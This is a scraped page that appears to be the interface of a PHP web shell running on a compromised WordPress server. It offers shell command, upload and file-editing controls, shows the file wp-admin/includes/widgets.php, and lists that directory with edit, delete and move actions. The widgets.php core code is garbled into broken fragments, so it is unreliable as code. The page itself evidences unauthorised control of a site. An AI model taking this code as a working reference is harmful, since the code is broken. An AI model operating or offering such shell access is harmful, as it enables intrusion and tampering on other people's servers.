Server: appserver-7f0f8755-nginx-15961cad18524ec5a9db05f2a6a7e440
Current directory: /code/wp-admin/includes
Software: nginx/1.27.5
Shell Command
Create a new file
Upload file
File: widgets.php
$widget['id'], 'widget_name' => $widget['name'], '_display' => 'template', ); if ( isset( $wp_registered_widget_controls[ $widget['id'] ]['id_base'] ) && isset( $widget['params'][0]['number'] ) ) { $id_base = $wp_registered_widget_controls[ $widget['id'] ]['id_base']; $args['_temp_id'] = "$id_base-__i__"; $args['_multi_num'] = next_widget_id_number( $id_base ); $args['_add'] = 'multi'; } else { $args['_add'] = 'single'; if ( $sidebar ) { $args['_hide'] = '1'; } } $control_args = array( 0 => $args, 1 => $widget['params'][0], ); $sidebar_args = wp_list_widget_controls_dynamic_sidebar( $control_args ); wp_widget_control( ...$sidebar_args ); } } /** * Callback to sort array by a 'name' key. * * @since 3.1.0 * @access private * * @param array $a First array. * @param array $b Second array. * @return int */ function _sort_name_callback( $a, $b ) { return strnatcasecmp( $a['name'], $b['name'] ); } /** * Show the widgets and their settings for a sidebar. * Used in the admin widget config screen. * * @since 2.5.0 * * @param string $sidebar Sidebar ID. * @param string $sidebar_name Optional. Sidebar name. Default empty. */ function wp_list_widget_controls( $sidebar, $sidebar_name = '' ) { add_filter( 'dynamic_sidebar_params', 'wp_list_widget_controls_dynamic_sidebar' ); $description = wp_sidebar_description( $sidebar ); echo '
'; if ( $sidebar_name ) { $add_to = sprintf( /* translators: %s: Widgets sidebar name. */ __( 'Add to: %s' ), $sidebar_name ); ?>
'; } /** * Retrieves the widget control arguments. * * @since 2.5.0 * * @global array $wp_registered_widgets * * @param array $params * @return array */ function wp_list_widget_controls_dynamic_sidebar( $params ) { global $wp_registered_widgets; static $i = 0; ++$i; $widget_id = $params[0]['widget_id']; $id = isset( $params[0]['_temp_id'] ) ? $params[0]['_temp_id'] : $widget_id; $hidden = isset( $params[0]['_hide'] ) ? ' style="display:none;"' : ''; $params[0]['before_widget'] = "
"; $params[0]['after_widget'] = '
'; $params[0]['before_title'] = '%BEG_OF_TITLE%'; // Deprecated. $params[0]['after_title'] = '%END_OF_TITLE%'; // Deprecated. if ( is_callable( $wp_registered_widgets[ $widget_id ]['callback'] ) ) { $wp_registered_widgets[ $widget_id ]['_callback'] = $wp_registered_widgets[ $widget_id ]['callback']; $wp_registered_widgets[ $widget_id ]['callback'] = 'wp_widget_control'; } return $params; } /** * @global array $wp_registered_widgets * * @param string $id_base * @return int */ function next_widget_id_number( $id_base ) { global $wp_registered_widgets; $number = 1; foreach ( $wp_registered_widgets as $widget_id => $widget ) { if ( preg_match( '/' . preg_quote( $id_base, '/' ) . '-([0-9]+)$/', $widget_id, $matches ) ) { $number = max( $number, $matches[1] ); } } ++$number; return $number; } /** * Meta widget used to display the control form for a widget. * * Called from dynamic_sidebar(). * * @since 2.5.0 * * @global array $wp_registered_widgets * @global array $wp_registered_widget_controls * @global array $sidebars_widgets * * @param array $sidebar_args * @return array */ function wp_widget_control( $sidebar_args ) { global $wp_registered_widgets, $wp_registered_widget_controls, $sidebars_widgets; $widget_id = $sidebar_args['widget_id']; $sidebar_id = isset( $sidebar_args['id'] ) ? $sidebar_args['id'] : false; $key = $sidebar_id ? array_search( $widget_id, $sidebars_widgets[ $sidebar_id ], true ) : '-1'; // Position of widget in sidebar. $control = isset( $wp_registered_widget_controls[ $widget_id ] ) ? $wp_registered_widget_controls[ $widget_id ] : array(); $widget = $wp_registered_widgets[ $widget_id ]; $id_format = $widget['id']; $widget_number = isset( $control['params'][0]['number'] ) ? $control['params'][0]['number'] : ''; $id_base = isset( $control['id_base'] ) ? $control['id_base'] : $widget_id; $width = isset( $control['width'] ) ? $control['width'] : ''; $height = isset( $control['height'] ) ? $control['height'] : ''; $multi_number = isset( $sidebar_args['_multi_num'] ) ? $sidebar_args['_multi_num'] : ''; $add_new = isset( $sidebar_args['_add'] ) ? $sidebar_args['_add'] : ''; $before_form = isset( $sidebar_args['before_form'] ) ? $sidebar_args['before_form'] : '
'; $after_form = isset( $sidebar_args['after_form'] ) ? $sidebar_args['after_form'] : '
'; $before_widget_content = isset( $sidebar_args['before_widget_content'] ) ? $sidebar_args['before_widget_content'] : '
'; $after_widget_content = isset( $sidebar_args['after_widget_content'] ) ? $sidebar_args['after_widget_content'] : '
'; $query_arg = array( 'editwidget' => $widget['id'] ); if ( $add_new ) { $query_arg['addnew'] = 1; if ( $multi_number ) { $query_arg['num'] = $multi_number; $query_arg['base'] = $id_base; } } else { $query_arg['sidebar'] = $sidebar_id; $query_arg['key'] = $key; } /* * We aren't showing a widget control, we're outputting a template * for a multi-widget control. */ if ( isset( $sidebar_args['_display'] ) && 'template' === $sidebar_args['_display'] && $widget_number ) { // number == -1 implies a template where id numbers are replaced by a generic '__i__'. $control['params'][0]['number'] = -1; // With id_base widget ID's are constructed like {$id_base}-{$id_number}. if ( isset( $control['id_base'] ) ) { $id_format = $control['id_base'] . '-__i__'; } } $wp_registered_widgets[ $widget_id ]['callback'] = $wp_registered_widgets[ $widget_id ]['_callback']; unset( $wp_registered_widgets[ $widget_id ]['_callback'] ); $widget_title = esc_html( strip_tags( $sidebar_args['widget_name'] ) ); $has_form = 'noform'; echo $sidebar_args['before_widget']; ?>
" . __( 'There are no options for this widget.' ) . "\n"; } $noform_class = ''; if ( 'noform' === $has_form ) { $noform_class = ' widget-control-noform'; } ?>
|
'widget-' . esc_attr( $id_format ) . '-savewidget' ) ); ?>
.
106 Items
Change directory
Remove directory
Rename directory
..
100 Items
Change directory
Remove directory
Rename directory
admin-filters.php
7.81 KB
Edit
Delete
Copy
Move
Remame
admin.php
3.54 KB
Edit
Delete
Copy
Move
Remame
ajax-actions.php
147.98 KB
Edit
Delete
Copy
Move
Remame
bookmark.php
11.34 KB
Edit
Delete
Copy
Move
Remame
class-automatic-upgrader-skin.php
3.58 KB
Edit
Delete
Copy
Move
Remame
class-bulk-plugin-upgrader-skin.php
2.53 KB
Edit
Delete
Copy
Move
Remame
class-bulk-theme-upgrader-skin.php
2.6 KB
Edit
Delete
Copy
Move
Remame
class-bulk-upgrader-skin.php
6.59 KB
Edit
Delete
Copy
Move
Remame
class-core-upgrader.php
14.66 KB
Edit
Delete
Copy
Move
Remame
class-custom-background.php
21.11 KB
Edit
Delete
Copy
Move
Remame
class-custom-image-header.php
47.91 KB
Edit
Delete
Copy
Move
Remame
class-file-upload-upgrader.php
4.07 KB
Edit
Delete
Copy
Move
Remame
class-ftp-pure.php
5.3 KB
Edit
Delete
Copy
Move
Remame
class-ftp-sockets.php
8.28 KB
Edit
Delete
Copy
Move
Remame
class-ftp.php
26.66 KB
Edit
Delete
Copy
Move
Remame
class-language-pack-upgrader-skin.php
2.8 KB
Edit
Delete
Copy
Move
Remame
class-language-pack-upgrader.php
15.2 KB
Edit
Delete
Copy
Move
Remame
class-pclzip.php
192.09 KB
Edit
Delete
Copy
Move
Remame
class-plugin-installer-skin.php
11.76 KB
Edit
Delete
Copy
Move
Remame
class-plugin-upgrader-skin.php
3.2 KB
Edit
Delete
Copy
Move
Remame
class-plugin-upgrader.php
22.79 KB
Edit
Delete
Copy
Move
Remame
class-theme-installer-skin.php
12.43 KB
Edit
Delete
Copy
Move
Remame
class-theme-upgrader-skin.php
4.08 KB
Edit
Delete
Copy
Move
Remame
class-theme-upgrader.php
26.17 KB
Edit
Delete
Copy
Move
Remame
class-walker-category-checklist.php
4.78 KB
Edit
Delete
Copy
Move
Remame
class-walker-nav-menu-checklist.php
5.5 KB
Edit
Delete
Copy
Move
Remame
class-walker-nav-menu-edit.php
12.94 KB
Edit
Delete
Copy
Move
Remame
class-wp-ajax-upgrader-skin.php
4.09 KB
Edit
Delete
Copy
Move
Remame
class-wp-application-passwords-list-table.php
6.79 KB
Edit
Delete
Copy
Move
Remame
class-wp-automatic-updater.php
59.71 KB
Edit
Delete
Copy
Move
Remame
class-wp-comments-list-table.php
31.68 KB
Edit
Delete
Copy
Move
Remame
class-wp-community-events.php
18.33 KB
Edit
Delete
Copy
Move
Remame
class-wp-debug-data.php
60.2 KB
Edit
Delete
Copy
Move
Remame
class-wp-filesystem-base.php
23.84 KB
Edit
Delete
Copy
Move
Remame
class-wp-filesystem-direct.php
17.72 KB
Edit
Delete
Copy
Move
Remame
class-wp-filesystem-ftpext.php
22.56 KB
Edit
Delete
Copy
Move
Remame
class-wp-filesystem-ftpsockets.php
18.05 KB
Edit
Delete
Copy
Move
Remame
class-wp-filesystem-ssh2.php
22.76 KB
Edit
Delete
Copy
Move
Remame
class-wp-importer.php
7.29 KB
Edit
Delete
Copy
Move
Remame
class-wp-internal-pointers.php
4.47 KB
Edit
Delete
Copy
Move
Remame
class-wp-links-list-table.php
8.96 KB
Edit
Delete
Copy
Move
Remame
class-wp-list-table-compat.php
1.46 KB
Edit
Delete
Copy
Move
Remame
class-wp-list-table.php
51.61 KB
Edit
Delete
Copy
Move
Remame
class-wp-media-list-table.php
24.97 KB
Edit
Delete
Copy
Move
Remame
class-wp-ms-sites-list-table.php
21.5 KB
Edit
Delete
Copy
Move
Remame
class-wp-ms-themes-list-table.php
27.62 KB
Edit
Delete
Copy
Move
Remame
class-wp-ms-users-list-table.php
14.86 KB
Edit
Delete
Copy
Move
Remame
class-wp-plugin-install-list-table.php
24.14 KB
Edit
Delete
Copy
Move
Remame
class-wp-plugins-list-table.php
56.37 KB
Edit
Delete
Copy
Move
Remame
class-wp-post-comments-list-table.php
1.42 KB
Edit
Delete
Copy
Move
Remame
class-wp-posts-list-table.php
62.3 KB
Edit
Delete
Copy
Move
Remame
class-wp-privacy-data-export-requests-list-table.php
5.43 KB
Edit
Delete
Copy
Move
Remame
class-wp-privacy-data-removal-requests-list-table.php
5.58 KB
Edit
Delete
Copy
Move
Remame
class-wp-privacy-policy-content.php
32 KB
Edit
Delete
Copy
Move
Remame
class-wp-privacy-requests-table.php
13.65 KB
Edit
Delete
Copy
Move
Remame
class-wp-screen.php
36.45 KB
Edit
Delete
Copy
Move
Remame
class-wp-site-health-auto-updates.php
13.19 KB
Edit
Delete
Copy
Move
Remame
class-wp-site-health.php
119.68 KB
Edit
Delete
Copy
Move
Remame
class-wp-site-icon.php
6.26 KB
Edit
Delete
Copy
Move
Remame
class-wp-terms-list-table.php
20.69 KB
Edit
Delete
Copy
Move
Remame
class-wp-theme-install-list-table.php
15.37 KB
Edit
Delete
Copy
Move
Remame
class-wp-themes-list-table.php
10.05 KB
Edit
Delete
Copy
Move
Remame
class-wp-upgrader-skin.php
6.94 KB
Edit
Delete
Copy
Move
Remame
class-wp-upgrader-skins.php
1.44 KB
Edit
Delete
Copy
Move
Remame
class-wp-upgrader.php
45.95 KB
Edit
Delete
Copy
Move
Remame
class-wp-users-list-table.php
18.61 KB
Edit
Delete
Copy
Move
Remame
comment.php
5.98 KB
Edit
Delete
Copy
Move
Remame
continents-cities.php
20.06 KB
Edit
Delete
Copy
Move
Remame
credits.php
5.8 KB
Edit
Delete
Copy
Move
Remame
dashboard.php
68.56 KB
Edit
Delete
Copy
Move
Remame
deprecated.php
40.8 KB
Edit
Delete
Copy
Move
Remame
edit-tag-messages.php
1.44 KB
Edit
Delete
Copy
Move
Remame
export.php
24.97 KB
Edit
Delete
Copy
Move
Remame
file.php
96.11 KB
Edit
Delete
Copy
Move
Remame
image-edit.php
42.34 KB
Edit
Delete
Copy
Move
Remame
image.php
40.89 KB
Edit
Delete
Copy
Move
Remame
import.php
6.52 KB
Edit
Delete
Copy
Move
Remame
list-table.php
3.71 KB
Edit
Delete
Copy
Move
Remame
media.php
116.1 KB
Edit
Delete
Copy
Move
Remame
menu.php
9.39 KB
Edit
Delete
Copy
Move
Remame
meta-boxes.php
64.58 KB
Edit
Delete
Copy
Move
Remame
misc.php
45.37 KB
Edit
Delete
Copy
Move
Remame
ms-admin-filters.php
1.27 KB
Edit
Delete
Copy
Move
Remame
ms-deprecated.php
3.68 KB
Edit
Delete
Copy
Move
Remame
ms.php
33.16 KB
Edit
Delete
Copy
Move
Remame
nav-menu.php
47.75 KB
Edit
Delete
Copy
Move
Remame
network.php
26.35 KB
Edit
Delete
Copy
Move
Remame
noop.php
1.12 KB
Edit
Delete
Copy
Move
Remame
options.php
4.15 KB
Edit
Delete
Copy
Move
Remame
plugin-install.php
39.01 KB
Edit
Delete
Copy
Move
Remame
plugin.php
90.73 KB
Edit
Delete
Copy
Move
Remame
post.php
79.73 KB
Edit
Delete
Copy
Move
Remame
privacy-tools.php
32.68 KB
Edit
Delete
Copy
Move
Remame
revision.php
15.76 KB
Edit
Delete
Copy
Move
Remame
schema.php
41.67 KB
Edit
Delete
Copy
Move
Remame
screen.php
6.23 KB
Edit
Delete
Copy
Move
Remame
taxonomy.php
8.23 KB
Edit
Delete
Copy
Move
Remame
template.php
96.01 KB
Edit
Delete
Copy
Move
Remame
theme-install.php
6.83 KB
Edit
Delete
Copy
Move
Remame
theme.php
46.69 KB
Edit
Delete
Copy
Move
Remame
translation-install.php
8.71 KB
Edit
Delete
Copy
Move
Remame
update-core.php
65.41 KB
Edit
Delete
Copy
Move
Remame
update.php
33.77 KB
Edit
Delete
Copy
Move
Remame
upgrade.php
110.44 KB
Edit
Delete
Copy
Move
Remame
user.php
22.96 KB
Edit
Delete
Copy
Move
Remame
widgets.php
10.66 KB
Edit
Delete
Copy
Move
Remame